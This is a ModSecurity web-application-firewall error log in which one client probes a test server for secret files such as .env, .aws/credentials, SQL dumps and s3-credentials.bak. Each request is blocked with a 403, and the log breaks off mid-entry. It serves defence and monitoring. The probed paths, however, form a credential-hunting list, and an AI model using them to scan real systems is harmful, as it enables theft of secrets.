[Sun Mar 22 01:06:25.384023 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6zgAAAAA&quot;]
[Sun Mar 22 01:06:25.405949 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /private/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6zwAAAAA&quot;]
[Sun Mar 22 01:06:25.406134 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6zwAAAAA&quot;]
[Sun Mar 22 01:06:25.406268 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6zwAAAAA&quot;]
[Sun Mar 22 01:06:25.495881 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /prod/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL60wAAAAA&quot;]
[Sun Mar 22 01:06:25.496103 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL60wAAAAA&quot;]
[Sun Mar 22 01:06:25.496266 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL60wAAAAA&quot;]
[Sun Mar 22 01:06:25.518513 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /public/.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.aws/config&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL61AAAAAA&quot;]
[Sun Mar 22 01:06:25.518709 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.aws/config&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL61AAAAAA&quot;]
[Sun Mar 22 01:06:25.518848 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.aws/config&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL61AAAAAA&quot;]
[Sun Mar 22 01:06:25.540825 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /public/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.aws/credentials&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL61QAAAAA&quot;]
[Sun Mar 22 01:06:25.541031 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.aws/credentials&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL61QAAAAA&quot;]
[Sun Mar 22 01:06:25.541155 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.aws/credentials&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL61QAAAAA&quot;]
[Sun Mar 22 01:06:25.585590 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL61wAAAAA&quot;]
[Sun Mar 22 01:06:25.585783 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL61wAAAAA&quot;]
[Sun Mar 22 01:06:25.585924 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL61wAAAAA&quot;]
[Sun Mar 22 01:06:25.721429 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/db.sql&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL63QAAAAA&quot;]
[Sun Mar 22 01:06:25.721823 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/db.sql&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL63QAAAAA&quot;]
[Sun Mar 22 01:06:25.721948 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/db.sql&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL63QAAAAA&quot;]
[Sun Mar 22 01:06:25.743727 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/db_dump.sql&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL63gAAAAA&quot;]
[Sun Mar 22 01:06:25.744105 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/db_dump.sql&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL63gAAAAA&quot;]
[Sun Mar 22 01:06:25.744253 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/db_dump.sql&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL63gAAAAA&quot;]
[Sun Mar 22 01:06:25.991768 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL66QAAAAA&quot;]
[Sun Mar 22 01:06:25.991973 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL66QAAAAA&quot;]
[Sun Mar 22 01:06:25.992106 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL66QAAAAA&quot;]
[Sun Mar 22 01:06:26.104342 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3-credentials.bak&quot;] [unique_id &quot;ab8ygsIpAvowSesNnWL67gAAAAA&quot;]
[Sun Mar 22 01:06:26.104724 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3-credentials.bak&quot;] [unique_id &quot;ab8ygsIpAvowSesNnWL67gAAAAA&quot;]
[Sun Mar 22 01:06:26.104852 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3-credentials.bak&quot;] [unique_id &quot;ab8ygsIpAvowSesNnWL67gAAAAA&quot;]
[Sun Mar 22 01:06:26.194922 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /s3/.aws/config.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/config.json&quot;] [unique_id &quot;ab8ygsIpAvowSesNnWL68gAAAAA&quot;]
[Sun Mar 22 01:06:26.195142 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/config.json&quot;] [unique_id &quot;ab8ygsIpAvowSesNnWL68gAAAAA&quot;]
[Sun Mar 22 01:06:26.195630 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/config.json&quot;] [unique_id &quot;ab8ygsIpAvowSesNnWL68gAAAAA&quot;]
[Sun Mar 22 01:06:26.217663 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /s3/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag 